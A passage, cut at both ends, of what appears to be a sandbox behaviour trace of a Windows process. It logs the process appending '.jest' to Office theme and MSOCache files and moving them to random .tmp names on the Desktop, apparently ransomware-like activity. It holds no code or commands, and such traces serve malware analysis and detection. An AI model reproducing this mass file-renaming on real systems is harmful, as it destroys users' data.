pbstrOut=0x18ea48*="75956.55") returned 0x0 [0170.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lt2fJ-b67R1bbYQEtgYTzdXm-GsyT48rdjMoPlpICEuoz1wE Od4Oz_C9 m8I2Iwadj4zgbyQyVPkyKIv3 eR22WtvX1jsyTxsqB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lt2fj-b67r1bbyqetgytzdxm-gsyt48rdjmoplpiceuoz1we od4oz_c9 m8i2iwadj4zgbyqyvpkykiv3 er22wtvx1jsytxsqb.tmp")) returned 0 [0170.999] GetLastError () returned 0x2 [0170.999] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\n\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.jest")) returned 1 [0171.001] VarBstrFromR4 (in: fltIn=0x47945a49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.57") returned 0x0 [0171.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tVlX2HK8EhVgvkGSryEclNjoEWSJAcqOggccJPbNylTOVRrc3Wpcc6nGucSLGi r ScEZkinCtvfAFdQ-K8rwJz_CRaOObexKt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tvlx2hk8ehvgvkgsryeclnjoewsjacqoggccjpbnyltovrrc3wpcc6ngucslgi r scezkinctvfafdq-k8rwjz_craoobexkt.tmp")) returned 0 [0171.002] GetLastError () returned 0x2 [0171.002] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǧ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.003] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.jest")) returned 1 [0171.004] VarBstrFromR4 (in: fltIn=0x47945a49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.57") returned 0x0 [0171.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mUwtxuKZ1PtrgWBJhPuO7oc9gM3f6yU uJ-tkMka9Q5uzK5RKt1U36is484QJB8jmaQNvq0zVikrccD8wtGylTNEgbrdciLZiw-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muwtxukz1ptrgwbjhpuo7oc9gm3f6yu uj-tkmka9q5uzk5rkt1u36is484qjb8jmaqnvq0zvikrccd8wtgyltnegbrdcilziw-.tmp")) returned 0 [0171.005] GetLastError () returned 0x2 [0171.006] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ǭ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.006] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.jest")) returned 1 [0171.008] VarBstrFromR4 (in: fltIn=0x47945a49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.57") returned 0x0 [0171.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pbZn4G8WT EPzpiFY-sKc9YsDb3uQG6cSD6tiOYgdXCQ1cNDhghMGf0ur-sFrENxhkUEIppQ4lpPnXTF_8-e7QceeJQJxP32 8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pbzn4g8wt epzpify-skc9ysdb3uqg6csd6tioygdxcq1cndhghmgf0ur-sfrenxhkueippq4lppnxtf_8-e7qceejqjxp32 8.tmp")) returned 0 [0171.009] GetLastError () returned 0x2 [0171.010] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ˆ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.jest")) returned 1 [0171.012] VarBstrFromR4 (in: fltIn=0x47945a49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.57") returned 0x0 [0171.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RV2s8swBsMzv3uFTOVhyPcaDTVt_3E6yuPqspQO6RCbOFksGdD9cYsxfgNnnGAFgPWpNE0mLgbHlLctksHlFoJ5wwsIFQ96CtOg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rv2s8swbsmzv3uftovhypcadtvt_3e6yupqspqo6rcbofksgdd9cysxfgnnngafgpwpne0mlgbhllctkshlfoj5wwsifq96ctog.tmp")) returned 0 [0171.013] GetLastError () returned 0x2 [0171.013] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="̢\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.014] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.jest")) returned 1 [0171.015] VarBstrFromR4 (in: fltIn=0x47945a49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.57") returned 0x0 [0171.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9oZ2F3M1_SJ_B6SR6_AqXqXMrLnMCI0Wj-hn0oeUMOhj8kwbS4TSmjH5xr4gU jezLrfYOPY5Zxcpq7KtkHDJgdjTqG0Mb8TCdt-H.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9oz2f3m1_sj_b6sr6_aqxqxmrlnmci0wj-hn0oeumohj8kwbs4tsmjh5xr4gu jezlrfyopy5zxcpq7ktkhdjgdjtqg0mb8tcdt-h.tmp")) returned 0 [0171.016] GetLastError () returned 0x2 [0171.017] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.jest")) returned 1 [0171.019] VarBstrFromR4 (in: fltIn=0x47945a4b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.59") returned 0x0 [0171.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qas4wpI2 1KgdKuxHSTG4pBwJkcR8xL61z3EvbWPLlLZydiFdPf3IVbRS_2no5wzcR_cgg4xzLk aaz5 Wj9cFH5bSawzBx1OcA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qas4wpi2 1kgdkuxhstg4pbwjkcr8xl61z3evbwplllzydifdpf3ivbrs_2no5wzcr_cgg4xzlk aaz5 wj9cfh5bsawzbx1oca.tmp")) returned 0 [0171.019] GetLastError () returned 0x2 [0171.020] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϛ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.jest")) returned 1 [0171.022] VarBstrFromR4 (in: fltIn=0x47945a4b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.59") returned 0x0 [0171.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UfC4AKSLtswZdgwcSDfHBKGEfuxihdHysSTjZKL2ncc8kYbzFknACMwGxO6lNyg9b2N_NXf rkjHpd zpFtt-PZxUK8-QfP5TBtp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufc4aksltswzdgwcsdfhbkgefuxihdhysstjzkl2ncc8kybzfknacmwgxo6lnyg9b2n_nxf rkjhpd zpftt-pzxuk8-qfp5tbtp.tmp")) returned 0 [0171.022] GetLastError () returned 0x2 [0171.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϝ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.jest")) returned 1 [0171.025] VarBstrFromR4 (in: fltIn=0x47945a4b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.59") returned 0x0 [0171.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JcPW 1rmOyFLXm_p_9LFmZo4li8yvTAsdDi-Rj8ZAQ6h3TG o30C D97k9yw6h8gc6mdH 3_jCJS4KbARIZbiy5PXHVIrQ5BmVlG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jcpw 1rmoyflxm_p_9lfmzo4li8yvtasddi-rj8zaq6h3tg o30c d97k9yw6h8gc6mdh 3_jcjs4kbarizbiy5pxhvirq5bmvlg.tmp")) returned 0 [0171.025] GetLastError () returned 0x2 [0171.026] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ю\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.jest")) returned 1 [0171.028] VarBstrFromR4 (in: fltIn=0x47945a4b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.59") returned 0x0 [0171.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FElsqXvgnhhU7E6WBL0LJfhpxj 71eG3z7PhqT8NS AfPeZR0CLRVT74yHIvzxY2RC844thd 1vPtm9H16t9pc4KUID6Ih4hKQxxe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\felsqxvgnhhu7e6wbl0ljfhpxj 71eg3z7phqt8ns afpezr0clrvt74yhivzxy2rc844thd 1vptm9h16t9pc4kuid6ih4hkqxxe.tmp")) returned 0 [0171.028] GetLastError () returned 0x2 [0171.029] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ҷ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.jest")) returned 1 [0171.031] VarBstrFromR4 (in: fltIn=0x47945a4b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.59") returned 0x0 [0171.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6JxSZBZmqTS_bxSHJkWyxRUeNZXjcZvQEE6LGpnCX0Gs7_AM bSc9hog wbfM2fJnQq5g_OJTv6OUM 6u9FyjbEgQ _6XWwTdMrce.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6jxszbzmqts_bxshjkwyxruenzxjczvqee6lgpncx0gs7_am bsc9hog wbfm2fjnqq5g_ojtv6oum 6u9fyjbegq _6xwwtdmrce.tmp")) returned 0 [0171.032] GetLastError () returned 0x2 [0171.032] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.jest")) returned 1 [0171.036] VarBstrFromR4 (in: fltIn=0x47945a4d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.6") returned 0x0 [0171.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m0Lw4p9orprrTV9b7AP1XIGJSP_3ab_FcKoG91sYt8TYtI6YiPrzWUM5wyG6dSRF4Q662280aTE9369ziqNW44IPzJYI-Q0MUk 8z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m0lw4p9orprrtv9b7ap1xigjsp_3ab_fckog91syt8tyti6yiprzwum5wyg6dsrf4q662280ate9369ziqnw44ipzjyi-q0muk 8z.tmp")) returned 0 [0171.036] GetLastError () returned 0x2 [0171.037] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.jest")) returned 1 [0171.040] VarBstrFromR4 (in: fltIn=0x47945a4d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.6") returned 0x0 [0171.040] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2W7iedJfbbfaDuVwAT1RpEH- D24EzZLJIxrV6NEjLjfPZogM7cqNFdn2L-U5P61I-IYKBDUcIFAK4 P qE4JxRhZRIZPSW3tKRdn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2w7iedjfbbfaduvwat1rpeh- d24ezzljixrv6nejljfpzogm7cqnfdn2l-u5p61i-iykbducifak4 p qe4jxrhzrizpsw3tkrdn.tmp")) returned 0 [0171.040] GetLastError () returned 0x2 [0171.043] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="අ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.044] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0171.045] VarBstrFromR4 (in: fltIn=0x47945a4d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.6") returned 0x0 [0171.046] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h4rqU0_DMfJ1AF2 6qGv4jcpD5TGiR6KyZZwPxvINnnI0ggV3E7__UJo_Tp6TAxSdrMKI3AQjz6fN5_ fBZQAgI_lBqWmCy_ MNRG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h4rqu0_dmfj1af2 6qgv4jcpd5tgir6kyzzwpxvinnni0ggv3e7__ujo_tp6taxsdrmki3aqjz6fn5_ fbzqagi_lbqwmcy_ mnrg.tmp")) returned 0 [0171.046] GetLastError () returned 0x2 [0171.046] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="๺\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.047] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.jest")) returned 1 [0171.051] VarBstrFromR4 (in: fltIn=0x47945a4f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.62") returned 0x0 [0171.052] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bj7Y0DN Wm9o8mIZcXu5YewFt99r4O9CmSXpCMeCJb1HReWT49xchmlFmkmqz1eriamWP2dvpXx6Cbf0Ike6JGj-ui3-gHFZyO69c.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bj7y0dn wm9o8mizcxu5yewft99r4o9cmsxpcmecjb1hrewt49xchmlfmkmqz1eriamwp2dvpxx6cbf0ike6jgj-ui3-ghfzyo69c.tmp")) returned 0 [0171.052] GetLastError () returned 0x2 [0171.053] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, 